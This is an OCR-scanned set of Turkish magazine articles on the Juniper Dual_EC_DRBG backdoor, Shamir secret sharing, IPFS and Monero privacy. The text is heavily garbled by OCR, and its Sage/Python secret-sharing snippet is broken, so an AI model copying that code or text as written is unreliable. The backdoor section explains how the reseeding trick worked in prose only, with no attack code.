EC_DRBG vardl. NSA bu ¢6ziimii tavsiye ediyordu. Bu rastgele
say1 ureticinin 6zel gariplikleri kripto toplulugu tarafindan he-
men fark edildi. 2007 Agustos ayindaki Crypto 2007 kongresinde
Microsoft ¢aliganlar1 Dan Shumow ve Niels Ferguson bir sunum
yaptilar'®. Dual EC_DRBG programinda bazi sabit degerler ol-
dugunu ve bu sabit degerlerin baska gizli degerlerden iiretilmis
olabilecegini ve bu gizli degerlere sahip olan birinin bu rastgele
say1 Ureticisiyle yapilan sifrelemenin sadece 32 byte’lik bir ¢ikti-
styla sifreyi ¢oziilebilecegini gosterdi. Gizli degerleri bulamadilar
ancak var olabileceklerini ispat edebildiler.

Bu isin i¢cinde NSAnin parmag: da varken, bir diger rastgele
say1 {ireteci uzmani, Bruce Schneier 2007 Kasim ayinda wi-
red.com sitesinde “Bir rastgele say1 ireticisine ihtiyacin varsa
Dual EC_DRBGYyi hi¢bir kosulda kullanmamak siddetli tavsi-
yemdir."” baglikli yaziy1 kaleme ald1.

Fazla goze batar diye Schneier NSAnin Dual EC_DRBG igine
bir arka kap: sokmus olduguna ek ihtimal vermiyordu. Yine
de ne olur ne olmaz bunu kullanmayiniz, diye uyardi.

Boyle kalmis olmasi, sadece teorik bir ihtimal. Zayif bir kripto
algoritmasi daha teshir oldu.

Nasil olsa dyle ilerliyoruz.

Kabus Gercek Oluyor

Ancak boyle olmad.

Juniper Networks® 6nemli bir internet altyapisi ve ag giivenli-
gi sirketi. CISCO sonrasi router pazarinin %37’siyle ve

2017 yilinda 5 milyar dolar cirosuyla en biiyiik internet sirket-
lerinden biri.

17 https://csrc.nist.gov/publications/nistpubs/800-90/SP800-90revised_
March2007.pdf Devlet Bagkan1 Trump tarafindan dayatilan hitkiimetin
kapanmasi yiiziinden bu kaynaga erisemedim. “Computer Security Resource
Center - Due to the lapse in government funding, csrc.nist.gov and all
associated online activities will be unavailable until further notice” Bu uyariya
2019-01-10 tarihinde erisildi.

18 On the Possibility of a Back Door in the NIST SP800-90 Dual EC Prng, Dan
Shumow, Niels Ferguson http://rump2007.cr.yp.to/15-shumow.pdf 2019-01-08
tarihinde erisildi

19 Did NSA Put A Secret Backdoor In New Encryption Standard? Bruce
Schneier https://www.wired.com/2007/11/securitymatters-1115/ 2019-01-08
tarihinde erisildi

20 https://www.juniper.net/

Arastirmada incelenen ornek Juniper Networks NetScreen iirii-
nii - Secure Services Gateway SSG 550M

Uriinlerinden biri de NetScreen VPN (Sanal Ozel Ag) router-
ler (yonlendiriciler). Bu aletlerin gizlilik alaninda kritik rolleri
var. 2008 yilinin Ekim ayinda bu aletlerin ScreenOS yazilim
versiyonu 6.2’ye ylkseltildi. Bu degisimle Dual EC_DRBG
rastgele say1 ureticisi yazilima eklendi. Aletin giivenligini
olumsuz yonde etkileyen bes baska degisiklik daha yapildi.
2012 yilmin Agustos aymnda Dual EC_DRBGnin kritik bir
parametresi Juniper sirketi disindan birileri tarafindan degis-
tirildi.

2013 Eylil ayinda eski CIA galigan1 Edward Snowden NSA’ya
ait yaklagik on bin belgeyi gazetecilere verdi ve diinyay1 do-
lagtiktan sonra Rusya’ya kagti. Belgelerdeki bazi bilgiler New
York Times gibi saygin gazetelerde yayimlandi. Paylagilan id-
dialar arasinda “NSA bir rastgele say1 tiretecine bir arka kapi
sokmus” iddias1 da vardi. Dual EC_DRBG’nin ismi yok, ama
“bu agigin 2007 yilinda iki Microsoft ¢alisan: tarafindan kes-
fedildigi” bilgisi bu bilgiler arasinda yer aldi. Bahsedilenin
Dual_EC_DRBG oldugu gayet agik. NIST Dual EC_DRBG
kullanim tavsiyesini geri ¢ekti. Bir basin agiklamasinda Ju-
niper, iki farkli rastgele say1 iiretecini sirayla kullandigini ve
bunlardan sadece biri Dual_EC_DRBG oldugu i¢in cihazin
gizliliginin s6z konusu arka kapidan etkilenmedigini iddia
etti.

Ancak 2015 Eylil ayinda Juniper sorunun varligini kabul etti.
Fakat dagittiklar1 yama esas Dual EC_DRBG kaynakli agig1
¢ozmedi.

2016 yilinda yayinlanan bir makalede bir takim giivenlik
arastirmacist Juniper NetScreen aletlerinin icerdigi yazilim-
lara ters mithendislik yaparak biitiin olay1 teshir ettiler®’. Bu
giizel makale i¢in ne desem az! Berrak, sakin ve dikkatli bir
sekilde yazilmis makale programcilik, giivenlik ve kripto ko-
nularinda 6zel bir ders mahiyetinde. Okumak igin Ingilizce’yi
Ogrenmeye deger.

21 Where Did I Leave My Keys?: Lessons from the Juniper Dual EC Incident
Stephen Checkoway, Jacob Maskiewicz, Christina Garman, Joshua Fried,
Shaanan Cohney, Matthew Green, Nadia Heninger, Ralf-Philipp Weinmann,
Eric Rescorla, Hovav Shacham, Communications of the ACM, November
2018, Vol. 61 No. 11, Pages 148-155 10.1145/3266291




Makaleden sadece iki 6nemli nokta aktarmak istiyorum.

(a) S6z konusu koddan ¢agrilan bir fonksiyon iginde bir global
degisken degistiriliyor. Degiskenin ismi index ve bir dongiiyii
degistiriyor. Kod ters miihendislikle elde edildigi i¢cin kaynak
kodda for ya da while dongiisii olabilir. Fark etmez. Kodu
okuyan herkes index isimli bir degiskenin local bir degisken
oldugunu varsayar. Bu degiskenin global olmasi giivenlik aci1-
gina yol acan degisikliklerinden biriydi.

Bir C ders kitab1 yazsam, global degiskenlerin kullaniminin
zararini gosteren daha carpict bir 6rnek daha diisinemiyo-
rum. Global degisken, ¢agrilan fonksiyon icerisinden degis-
tirilince ¢agiran fonksiyonun nasil ¢alistigini anlamak nere-
deyse imkansiz.

(b) Kodu okuyacak kisiden degiskenin scope degisikliginin
izlenmesini engelleyen bir teknik kullanildi. Koda bakarsan
Dual_EC_DRBG sadece baska, masum, X9.31 isimli bir rast-
gele say1 iiretecinin tohumunu olusturmak i¢in kullaniliyor.
Ancak (a) sikkindaki hilenin sonucuyla her kullanisindan
once X9.31 rastgele say1 tireteci Dual_EC_DRBG kaynakli bir
deger ile yeniden seed’leniyor. Yukarida dalga gectigimiz in-
ternetten indirilen C dilindeki kod 6rneklerinde “déngii i¢in-
de sadece rand() fonksiyonu ¢agir, srand() fonksiyonu bir defa
cagir” yaziliyor. Bu kural ihlél ediliyor. Bu yiizden fiilen ma-
sum olan X9.31 rastgele say1 iiretecisinin bu iste bir pay1 yok.

Sonugta NSAy1 suglu gosteren bir “smoking gun” yok. Bu
“namludan duman sizdiran silah” anlamina gelen Ingilizce
ifadenin Tiirkge kargiligini bulamadim. Sézlik “Somut ya da
kesin delil” diyor. Yine de metaforu kullanmaya devam eder-
sek, silah var, vurulan var; ancak kimin vurduguna dair sadece
stiphe var. Ates olmayan yerden duman ¢ikmaz, diyelim.

ARKA KAPI Chris Stephenson — Rastgele Sayilar Rastgele Olmayinca

Sonuclar

Iste rastgele olmayan rastgele say1 iireten programlar ve “geli-
yorum” diyen giivenlik felaketleri.

Kripto zordur, bitytik bir konudur ve “6grenmenin azi tehlike-
li istir” (Alexander Pope)** Yarim hekim candan, yarim hoca
imandan, eder. Iste bagka bir atasozii.

Kriptografiyi anladiklarini zannedenlerin sayis1 gercekten an-
layanlarin sayisindan epey fazla. Yazarin da bir iddiast yok bu
konuda. Hayranlikla okuduklarimi aktariyorum. Bu kadar.

Debian SSL 6rneginde gordiigiimiiz gibi yanlslikla biiytik za-
rarlara yol agmak ¢ok kolay.

Giivenlik meselelerinin her yerinde rastgelelik 6nemli bir arag
ve 6nemli bir savunma mekanizmasi. Kripto icin, Meltdown,
Spectre gibi yan kanal saldirilarini 6nlemek i¢in sistemin 6n-
goriilebilir 6lclide rastgele davranabilmesi 6nemli. Entropi
6nemlidir, sistemlerimizde altin degerinde bir kaynaktir. Ma-
tematikgileri ve teoremlerini dikkatli takip etmek lazim. Bir
bildikleri oldugu belli.

Juniper 6rneginden baska bir sey 6greniyoruz; devlet igin
arka kapi yaratma girisimleri on kapiy: da bozabilir. O za-
man sistem her saldirtya agik héle gelecektir. Juniper olayinda
NSAnin miidahalesi kesin bir delil ile ispat edilemedi. Fakat
gliniin sonunda bu piyasadaki en biiyiik sirketlerden birinin
sadece giivenlik igin kullanilan VPN cihazi tam 9 sene boyun-
ca izlenmeye tamamen agikt1.

CACM dergisinde yayinlanan makalenin yazarlarinin tavsiye-
leri ¢ok yerinde. Protokol dnerileri yaninda 6nemli olanlara
ekledigim kimi yorumlarla birlikte:

(a) Yazilim hakkinda: Kripto kodun “yerel” (local) bir sekilde
denetlenebilmesi lazim. Cevresindeki programlardan bagim-
sizca sadece kendi satirlarina bakarak bir fonksiyonun islevini
anlamak miimkiin olmali. Global degiskenler, global saklama
alanlardan uzak durmak gerek. Kod denetimi (audit) yapilir-
ken kodun kalitesini de hesaba katmak gerek.

22 “Alittle Learning is a dangrous Thing;
Drink deep, or taste not the Pierian Spring:
There shallow Draughts intoxicate the Brain,

And drinking largely sobers us again”

“Ogrenmenin az1 tehlikeli is
Ya hi¢ tatma bilgi pinarindan ya da kana kana i¢
Sarhos olur beynin azar azar igersen

Doya doya igince ayilirsin yeniden”

An Essay on Criticism, (1709) Alexander Pope, Tiirkgesi Biilent Somay, sagolsun
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Yorum: programlar fonksiyonel dillerde yazilmasa bile, fonk-
siyonel tarzda yazilmali.

(b) Denetleme Kurumlar1 hakkinda: Juniper olayindaki biitiin
yazilim FIPS (ABD Federal Bilisim Standartlari) uyumlulugu
altinda bagimsiz bir laboratuvarda denetlenip onay aldi. Bu
testlerin yetersiz oldugu besbelli; daha fazla sistematik kod
kontrolii gerekiyor.

Yorum: Kodlarin ispat edilmesi, otomatik yontemlerle prog-
ramlarin degerlendirilmesinin denetlenmesi lazim. Formel
yontemler gerekiyor; sadece programlara goz atmak yetmiyor.

(c) Saldirilar hakkinda: bu tip rastgele say: iireteci saldirilari-
nin biiytik bir avantaji var. Saldirinin yapilmis oldugu anlasi-
lamiyor ve aletin ¢iktilarindan tespit edilemiyor.

Yorum: rastgele say1 tiretimi sirketlerin keyfine birakilamaya-
cak kadar 6nemli.

(d) A¢iklik: Medyada yer alan raporlar 2012 ve 2013 yillarinda
Juniper sirketinin disaridan yapilan kod degisikliklerine yo-
gunlasti. Halbuki esas giivenlik acig1 2008 yilinda Juniper’in
kendi yazilimcilar: tarafindan yapilan rastgele say iiretici de-
gisikliklerinden kaynaklandi. Juniper kamuya bilgi vermekten
kacindi, s6z konusu kodlar1 agiklamads, arastirmacilara erigim
vermedi. Juniper’in versiyon kontrol sistemi, i¢ e-posta trafi-
gi ve kendi miihendislerinin hafizalar1 bu olayin ¢6ziilmesi-
ne ¢ok yardimci olurdu. Arastirmacilar piyasadan bir Juniper
VPN cihazi satin alip kodlarini ters mithendislikle 6grenmek
zorunda kald.

Yorum: Giivenlik i¢in kritik olan yazilimlarin her zaman agik
olmasi lazim. Gazetecilere aragtirmalarini derinlestirebilecek-
leri teknik bilgiler verilmeli. Béyle bir olaydan sonra, seffaflik
yasal olarak garanti altina alinmali.

(e ) Politika: Bir giivenlik sisteminde bir kimseye ya da dev-
letin bir koluna 6zel bir erisim vermek sistemin giivenliginin
biitiinliigiine bir saldiridir. Boyle bir arka kapr hi¢bir kosulda
olusturulmamalidir.

Yorum: Giivenlik yazilimlari, agik kaynak, tercihen dzgiir ya-
zilim olmalidir.

Dikkatli gidiniz! Disaris1 tehlikelidir!
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SIR PAYLASIM

SISTEMLERI

eri depolama sistemleri giiniimiiz teknolojisinin

‘ /- vazgecilmez bir parcasi haline gelmistir. Biiyiik

olgekteki verinin islenmesine ihtiya¢ duyan Youtube,

Google ve Amazon gibi sirketler siklikla veri depolama sis-

temlerine gereksinim duymaktadir. Biiyiik 6lgekteki verinin

saklanma seklinin kurum-kurulus ve hatta iilke giivenligini

tehdit etmesi muhtemeldir. Kurum veya kuruluslar1 tehdit

edebilecek bu tipteki verinin giivenli bir sekilde saklanmasini
saglayacak metotlar gelistirmek biityitk 6nem arz eder.

Veri giivenligi ve sifreleme sistemlerinde siklikla kullanilan
bir yontem olan Sir Paylasim Sistemleri, basitce “sir” olan
verinin birden fazla kisi tarafindan paylasilmasi durumu-
dur. Diger bir deyisle sir, ancak 6nceden belirlenmis sayida
kisi bir araya geldiginde agiga ¢ikmaktadir. Bu sistemler-
de bir dagitic1 sistemdeki her bir kullanicinin sirrin hangi
pargasin1 alacagim belirleyerek sistemi tasarlar.

Tek bir otoriteye giiven duyulmayan sistemlerde ihtiya¢
duyulmas: sir paylasim sistemlerinin gelismesine sebep ol-
mustur. Ornek olarak bir niikleer silahin ¢aligmast igin 10
kisilik bir gruptan en az 7 kisinin onay vermesi gereken bir
durumu diisiinebiliriz.

Liuv'nin 1968de ortaya attig1 problem sir paylasim sistemleri-
nin ortaya ¢ikmasina sebep olmustur. Problem soyledir: “11
tane bilim insam bilgilerin giivenli bir kasada tutuldugu giz-
li bir projede calismaktadur. 6 ya da daha fazla bilim insan
olmadan kasanin acilmamasi igin kasa en az kag tane kilit
ile kilitlenmelidir? Bu sarti saglayacak sekilde her bir bilim
insaninda en az kag¢ tane anahtar olmalidur?”

Problemin ¢dziimii i¢in; en azindan 6 bilim insani olmadan
kasanin acilmamast igin kasa 462 adet kilit ile kilitlenmelidir
ve her bilim insaninda en az 252 tane anahtar olmalidir.

Bu sorunun ¢6ziimii basitce kombinatoryal hesaplamalarla
bulunabilir fakat en etkili ¢6ztimler i¢in problem ilk olarak
birbirinden bagimsiz bir sekilde Shamir ve Blakley tarafindan
1979 yilinda ¢oziilmustiir. Shamir bu probleme interpolasyon
formiiliint kullanarak bir ¢6ztim getirmistir.

Bu problemin daha kii¢iik sayilarla bir 6rnegini yapalim ve

Shamir’in yonteminin nasil isledigini yine ayni érnek iizerin-
den gozlemleyerek ne kadar etkilli oldugunu anlamaya ¢ali-
salim.

Problem su sekilde olsun: 5 tane bilim insani bilgilerin giivenli
bir kasada tutuldugu gizli bir projede ¢alismaktadir. 3 ya da
daha fazla bilim insan1 olmadan kasanin agilmamasi i¢in kasa
en az kag tane kilit ile kilitlenmelidir? Bu sart1 saglayacak
sekilde her bir bilim insaninda en az ka¢ tane anahtar olma-
lidir?

s
o = {A3, A5, Ag, Ag, Ag, Ay}

Coziim kombinatoryal yontemlerle kolayca hesaplanabilir. En
azindan 3 bilim adami olmadan kasanin acilmamasi icin kasa
10 adet kilit ile kilitlenmelidir ve her bir bilim adaminda en az
6 tane anahtar olmalidir.

Gorselde 10 tane anahtar her birinde 6%ar tane olacak sekilde
dagitilmistir. Herhangi @i¢ bilim adaminin anahtarlar1 bir ara-
ya getirildiginde A ,...,A anahtarlari elde edilecek ve kasa a¢1-
lacaktir. Fakat herhangi iki tanesi bir araya geldiginde anah-
tarlardan biri eksik kalacaktir ve kasa agilamayacaktir.

Bu probleme Shamir’in getirdigi etkili ¢6ztimt anlamak i¢in
Shamir’in Sir Paylasim Sistemini inceleyelim. Bir anahtari bir
grup icerisinde belirli paylarla dagitmak amaciyla gelistirilmis



Lagrange interpolasyona dayanan bu sistem soyle:

Sistem mimarisini; sir paylasim sistemini insa eden bir D
dagiticisi, S anahtar kiimesi ve P = {PvPz-...Pa} kullanicilar
kiimesi olugturmaktadir. D dagiticisi tarafindan S€ S anah-
tar1 secilerek belirlenen algoritmaya goére anahtar pargalanir
ve kullanicilar kitmesindeki elemanlara dagitilir.

Shamir’in insasi
« p sayisy, n kisi sayisindan daha biiyiik bir asal say1 olsun.
e a (mod p) katsayisina karsilik gelecek sekilde anahtar
sir olarak segilsin.

,ak_l(mod p) katsayilari segilerek
k-1

o Rastgele a,,a,,...

2
f(X):ao+alx+ A, X +...+q_ X
polinomu olusturulsun.

o Anahtar1 kullanicilara dagitmak amaciyla farkli = (mod p)
degerleri icin polinomda karsilik gelen y: = f(x) degerleri
hesaplansin. Elde edilen ikililer artik kullanicilara dagiti-
labilir.

Kullanicilar kitmesi P = {(x1, ¥1), (¥2,¥2),- ., ( ¥n)}  ikilile-
rinden olusur. Insa edilen sistemde herhangi k tane kullanici
Lagrange Interpolasyon formiiliinii kullanarak

:zﬁ

i=1
polinomunu bulur ve bdylece anahtar1 olusturur. Lagrange
Interpolasyon formiilii yardimiyla birbirlerinden farkli k tane
noktanin koordinatlarinin bilinmesiyle derecesi k-1 olan po-
linom bulunmus olur.

" (mod p)

X~ J
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Ornek olarak sirrin 5 kisiye dagitildigi ve an azindan 3 kiginin
bir araya gelmeden sirrin bulunamayacag sistemi Shamir’in
yontemi ile olusturalim.

1. s=3(mod11) olsun.

2. 2. dereceden rastgele katsayilardan olusan
f(x) = x* + 2x + 3 polinomu segilsin.

3. P = {(x1,y1), (x2,¥2), ..., (x5,5)} kullanicilar kiimesi
olmak tizere her bir kullaniciya verilecek olan (x; y)
ikilileri
x1=1=> y1=6(mod 11); x,=2= y,=0(mod 11); x3=5= y3 =
5(mod 11); x4 =6 = y, =7 (mod 11); x5 =9 = ys = 3 (mod 11)
olarak hesaplanir.

4. P ={P, = (1,6), P, = (2,0), Py = (55), P, = (6,7), Ps = (9,5)}
ikililerinden olusan kullanicilar kiimesinden herhangi 3
kullanici Lagrange Interpolasyon formiilii ile polinomu
olusturarak anahtar1 bulur.

5. Ornegin P = {P;, P, Ps} kullanicilar1 bir araya gelsinler ve
sirrt bulmak istesinler. Lagrange interpolasyon formiiliinii
kullanarak f(x) = x* + 2x +3 polinomu olugturulur ve
buradan anahtar s=f(0)=3 olarak bulunur. Lagrange
interpolasyon formiilii burada gectigi farkli 3 nokta bilinen
2. dereceden polinomu olusturmak i¢in kullanilmigtir.

Python Programlama Dilinde Shamir’in

Yonteminin Bir Uygulamasi

n,k=5,3

q=11

K=GF(q)

P.<x> = PolynomialRing(K)
a=K.random_element()

b=K.random_element()

c=K.random_element()

f=a*xA2+b*x+c

print f

X=[2,5,7,3,0]

Y=[f(X[i]) for i in range(n)]

Points=[(X[i],Y[i]) for i in range(n)]

print Points

S=[i-1 for i in list(Subsets(n,k).random_element())]
print S

Users=[Points[i] foriin S]

print Users

Plagrange_polynomial(Points)

import numpy list_plot(numpy.array(Points))+list_
plot(numpy.array(Points))
list_plot(numpy.array(Points))+list_plot(numpy.array(
ints))

Po-
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Gorsel Sir Paylasim Sistemi

Kisaca bir 6rnek tizerinden Gorsel Sir Paylasim Sistemine de deginelim. Gorsel Sir Paylasim Sistemi'nin ilging yonii paylastirilan
bilginin bir resim olmasidir! Naor ve Adi Shamir tarafindan 1994 yilinda ortaya atilan bu sistemde resimler siyah ve beyaz pik-
sellerden olusan matrislerdir. Siyah pikseller “1” girdisiyle ve beyaz pikseller “0” girdisiyle ifade edilir. Asagidaki 6rnekte bu
sekilde olusturulmus matrisler yer almaktadur.

1. resim; rastgele piksellerden elde edilen bir resimdir.

2. resim; 1. resim ve gizli resimden elde edilen bir resimdir.

1. ve 2. Resme karsilik gelen matrislerin matris toplama-

styla gizli resim olusacaktir:)
HAEHEHP

Shamir, A., (1979).” How to Share a Secret >, Communicati-
ons of the ACM, 22: 612-61

M. Naor and A. Shamir, “‘Visual cryptography, Advanced in Cryptography- Eurocrypt94 ,vol.950, no.7, 1995, 1-12.
http://www.matematikdunyasi.org/arsiv/PDF/13_04_75_77_sir.pdf

http://www.wikizeroo.net/index.php?q=aHROcHM6Ly91bi53aWtpcGVkaWEub3JnL3dpa2kvU2hhbWlyJ3NfU2VjcmVOX1N
oYX]Jpbmc
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FS

(InterPlanetary File System)
e
Kalici Web

nterPlanetary File System ag tizerinde igerigi adresleme imkéani taniyan, u¢tan uca iletisim metodolojisi ile hiper! paylasimi
yapilabilen dagitik dosya sistemidir. Bu protokoliin kisa ad1 IPFSdir. Yaz1 boyunca ben de bu sekilde kullanacagim.

IPFS Nedir?

Projenin baslangi¢ tasarimi Juan Benete aittir ve su an acik kaynak kod olarak topluluk tarafindan yonetilmeye devam

etmektedir.

Su giinlerde fiyatlarindan yakindigimiz Bitcoin, aslinda 2014
yilinda bu fikrin ortaya ¢ikmasini saglamistir. Veri depola-
ma Uzerindeki ag mimarisi, tekrarlanan kayitlarin silinmesi,
aga bagh diigiimlerin adreslenmesi gibi tasarimsal 6zellikleri
Bitcoin’in, Blockchain protokoli'nden esinlenmistir. Bu tek-
noloji, GIT (Versiyon Kontrol Sistemi) ve Torrent teknolojile-
riyle birlestirerek ortaya ¢ikmuistir.

IPFS’in tasariminda kullanilan diller Go ve Javascript dille-
ridir. Python tabanl bir tasarimda gelistirilmektedir. Teknik
olarak IPFS’in tasarimini ve Github kodlarini incelemek iste-
yenler https://ipfs.io baglantisini ziyaret edebilirler.

IPFS’in amaci nedir ve avantajlari nelerdir, biz artik bunlari
konusalim.

IPFS’in amaci nedir?

IPFS’in mottosu da baghkta yazdigimiz gibi, “Kalict Web”
HTTP’in yerini almay1 hedefleyerek bunu yapmak istemek-
tedirler. Siirekli bagli oldugumuz giiniimiiz web topolojisinin
kisitlarina ¢6ziim olarak gelistirildigi ifade edilmektedir.

Bunu iyi yorumlayabilmek i¢in giiniimiiz web’inin 6zellikleri-
ne deginelim.

Gilinlimiiz Web Topolojisi
o Merkezi (Centralized) Mimari Network
« Bir sunucu,

o Olgeklenebilirlik sorunu,

« Single Point of Failure (zayif halkanin sorun ¢ikartmasi
durumunda tiim islevlerin kaybedilmesi),

o Verimsiz

o Dagitik (Decentralized) Mimari Network
o Birden fazla sunucu,

« Olgeklenebilir,
o Verimli
o Yiiksek up-time,
o Daha iyi hata yonetimi,
o Fakat daha yiiksek maliyet.
IPFS Topolojisi
o Tam dagitik mimari,

o Her bir diigiim, hem sunucu hem client islevini yerine
getirebilir,

o Verimli.

1 Medyagrafik, ses, video, salt metin ve hiper-baglantilari igeren bilgiler toplulugu olup hipermetin teriminin daha genis kapsamlisidir.
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Giiniimiiz Web-HTTP teknolojisinde merkeziyetcil bir yap1
olusturuldugunda verimlilik acisindan dezavantajlar oldugu-
nu goriiyoruz, dagitik bir mimari giiniimiiz Web-HTTP tek-
nolojisinde olusturuldugunda ise maliyetler ¢cok fazla yiiksel-
mektedir.

Bunu bir 6rnekle daha anlagilir hale getirelim.

Ornegin, 100 Kisi ile birlikte tiniversitede ders aliyorsunuz ve
hocaniz sizlerle bir web baglantisi paylasti, ziyaret etmenizi is-
tedi. 100 6grenci bu web sunucusuna erismek istediginde 100
farkl istek sunucuya gonderilir ve sunucudan da 100 adet ya-
nit alinir. Bu da verimlilik agisindan ideal bir yontem degildir.
Ciinkii ayn1 veriler ilk istegi gonderen kisiden itibaren tiim
ogrenciler de var olmasina ragmen, sadece ayn1 sunucudan te-
min edilebilmektedir. Bunun yani sira sunucu tarafli bir sorun
olusmast, verinin silinmesi (data kaybi), ISP tarafl1 bir iletisim
sorunlar1 ya da iilke bazinda uygulanabilen igerik engelleme-
leri ile bu stire¢ HT'TP i¢in daha da getrefilli hale gelmektedir.

Ornegimizdeki hoca, IPFS teknolojisi kullanarak dgrencile-
riyle veriyi paylagsa nasil olurdu?
Ilk ornekteki HTTP linkimizin yapisi bu sekilde olabilir:
http://12.34.56.78/folder/data.txt

IPFS linkleri ise su yaprya benzerlik gosterir: /ipfs/QmT5NvU-
toMb5n/folder/file.txt

Bu noktada “/ipfs” mimarisine erigim icin farkli platformlar
i¢in sunulan yazilimimi kurmak yeterli. Kurulduktan sonra fi-
lesystem tizerinde sanal bir disk varmiscasina ya da HTTP bir
web adresine erisiyormus gibi ziyaret edebilirsiniz.

Ders hocasinin linkine geri dénecek olursak, 6grencilere bunu
dagittiktan sonra talebi génderen kisiler yakinliklarina gore
veriyi daha Once talep etmis diger kisiler iizerinden temin
edebilir. Tabii ki akliniza veri biitiinliigii konusu gelmis olabi-
lir. Kriptoloji teknikleri sayesinde (verinin hash’'inin alinmasi)
veri buttinligi de teyit edilmektedir.

Yani istediginiz veriyi verinin biitiinliigii bozulmadan, daha
once merkezi sunucudan temin etmis birine baglanarak temin
edebilirsiniz. Iste bu noktada Torrent teknolojisini kullandigi-
n1 soyleyebiliriz.

HTTP iizerinde siz belirli bir lokasyonda ne oldugunu sormus
oluyorsunuz, IPFS ile belirli bir dosyanin nerede oldugunu so-
ruyorsunuz.

IPFS ve Blok Zincirleri

IPES, blok zincirleri ile de yapisal benzerlikleri sebebi ile ba-
sartyla caligabilmektedir. IPFS’in mucidi “Juan Benet”, Block-
chain ve IPFS’in birlikte ¢aligabilmesi ile ilgili yorumu “mii-
kemmel bir evlilik” seklindedir. Juan Benet tarafindan kurulan
Protocol Labs (https://protocol.ai), su an IPFS disinda birkag
projenin de gelistirilmesine ev sahipligi yapmaktadur.

Protocol Labs1n girisimlerinden bir tanesi de “IPLD (Inter-
Planetary Linked Data-https://ipld.io/)” projesidir. Bu proje
ile Bitcoin ve Ethereum zincirleri, IPFS dagitik agina aktaril-
maktadir. Daha bir¢cok Blockchain mimarisi bu protokol ile
IPES aginda saklanabilmektedir. Buradaki amag blok zincirle-
rinin giivenligini saglayacak ve siirekli agda bu verilerin varli-
gin1 siirdiirmesini saglayacak farkli kullanicilara ulagabilmek-
tir. Bunu da “Filecoin” ad1 verilen alternatif bir crypto coin ile
agda veri saklayan kullanicilar1 6diillendirerek yapmaktadir-
lar.

Ethereum blok zincirini IPFS
tizerinde goriintiileyebilmek i¢in
gerekli teknik adimlar1 asagidaki
linkte bulabilirsiniz:
https://github.com/ipfs/js-ipfs/

tree/master/examples/explore-et-
hereum-blockchain
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Hatta sadece blok zincirleri degil hali hazirda Tiirkiyede Wikipedia engellenince 2017 yilinda IPES iizerinde Wikipedianin
mirror’'una ulasabileceginiz bir proje tasarlandi. Projeye bu adresten ulasilabilir: https://tr.wikipedia-on-ipfs.org

Gelistirildigi stireden 1.5 yil sonra Tiirkiyeden ¢ok fazla bir talep gelmeyince ve IPFS kullanicisinin az olmasi sebebi ile giincel-
ligini yitirse de proje gelistirilmeye devam etmektedir. Projenin kaynak kodu: https://github.com/ipfs/distributed-wikipedia-
mirror

IPFS Kurulumu

Basit birka¢ adimda IPFS kurulumunu bilgisayarinizda gerceklestirebilirsiniz. Oncelikle herhangi bir IPFS kurulumu yapma-
diysaniz isletim sisteminize uygun paketi indirmek igin: https://dist.ipfs.io/ adresini ziyaret edebilirsiniz.

IPFS projesi su an “Go” platformda tam anlamiyla ¢alisir oldugundan Go dilindeki versiyonunu indirmenizi tavsiye ederim.

Paket kurulumu yaptiktan sonra komut terminalinizde agagidaki baglatma komutunu kullanabilirsiniz:
$ ipfs init

Sonrasinda IPES aginda aktif bir node haline gelmek i¢in terminalinizde asagidaki komutu ¢alistirmaniz yeterli:
$ ipfs deamon

Artik hazir. http://localhost:5001/webui/ adresini ¢alistirarak istediginiz repo’yu bilgisayariniza gekebilirsiniz.

PEERS

Web arayiiziinden artik local aginizda film yayini yitklenmis bir repo ile film bile izleyebilirsiniz. Sadece halka agik degil 6zel
dosyalarinizi bile bir bagkasi ile paylasmak icin PGP ile bir dosyay sifreleyerek aga yiikleyebilir ve her yerden erisebilirsiniz.
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Imaj hichir seydir, gizlilik her sey!
Gercek Gizlilik Isteyenler igin
Kripto Para Monero

(XMR)

q rka Kap1 Dergi okurlar1 bu sayfalarda kripto paralara, bu paralarin tizerine bina edildigi blokzinciri mimarilerine dair

pek cok sey okudu. Dolayisiyla tekrar kripto paralara dair bir giris yapmayacak ve konumuz olan Moneronun vaad
ettigi gizlilik ve giivenlige odaklanacagiz.

Bir soru ile baglamaya ne dersiniz? Insanlar kripto paralari neden tercih ediyor? Finansal 6zgiirliik i¢in mi, yoksa finansal giz-
lilik i¢in mi?
Goriinen o ki daha ¢ok finansal gizlilik icin. Kripto paralarin ruhunu anlamayip, onu “diismanin bir silahina doniistiiren” a¢

gozli insanlara hi¢ deginmiyoruz. Zira onlarin maksad: kriptolojinin sundugu muazzam imkén degil, bu yeni alandan kendi-
leri icin daha fazla kar devsirmek.

Gizlilik demistik. Peki gercekten dyle mi?
Iste size bir IBAN numarast: TR63 0001 2009 1410 0009 2165 66

Bir kisinin IBAN numarasini bildiginizde edineceginiz bilgiler nelerdir? Bankanin adi, adresi ve hesap numarasi. Bundan fazlasi

degil.

53 WAS Wik TUN? WER WIR SINDY UMSERE ZIELE ABONNIEREN BIC SUCHEN
<IBAN !

Informationen fiir IBAN TR6300012009714100009216566
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Peki ya birinin Bitcoin (BTC) adresini 6grendinizde, bu kisiye ~ $6yle bir senaryo diigiinelim, bir seyahat esnasinda BTC ile
dair bagka hangi bilgileri elde edebilirsiniz? islem yaptiginizda islem yaptiginiz kisi yani hesap numaranizi
bilen kisiler sizin bakiyenizi 6grenecekler. Bu sizin igin ciddi

Enter the Bitcoin address here Check bir guVenllk riski anlamina geleblhr’

;-_: 5 LEE@g sonpakika oUnva JEEIEF vasam  TEKNOLON SEYAHM
Antalya'da Bitcoin cinayeti

38Ee9XUoHp6usVRDKNTdUvS1EUsca3Sb6L
Total Received: 0.00019380

Total Sent: 0.00019380

Anadolu Ajans: 18.09.2017 - 16:57

Final Balance: 0.00000000

Total transactions: 4

Recent transactions:

Date ¥ Amount Balance
&= 2017-11-23 13:38:36 | -0.00005480 0.00000000
e 2017-11-04 14:36:03 | -0.00013900 0.00005480
e 2017-11-03 04:59:13 0.00013900  0.00019380
&= 2017-10-09 16:04:03 0.00005480  0.00005480

Donate Bitcoin: 38Ee9XUoHp6usVRDKNTdUVS1EUsca3SheL : S s _
Data Source: Blockchain.info Antalya'da otomobilde 6lii bulunan 22 yasindaki Siikrii Mert'in,

hesabindaki Bitcoin'leri ele gecirmek isteyen kisilerce
oldiiriildiigii ortaya gikti.

Kisinin BTC adresinden hareketle toplam gonderdigi ve aldig1
BTC miktarini, hesap bakiyesini, bugiine dek ka¢ adet islem
yaptigini, bu islemlere dair tutar, tarih ve saat bilgilerini, gon-
derici ve alic1 adreslerini elde edebilmek miimkiin.

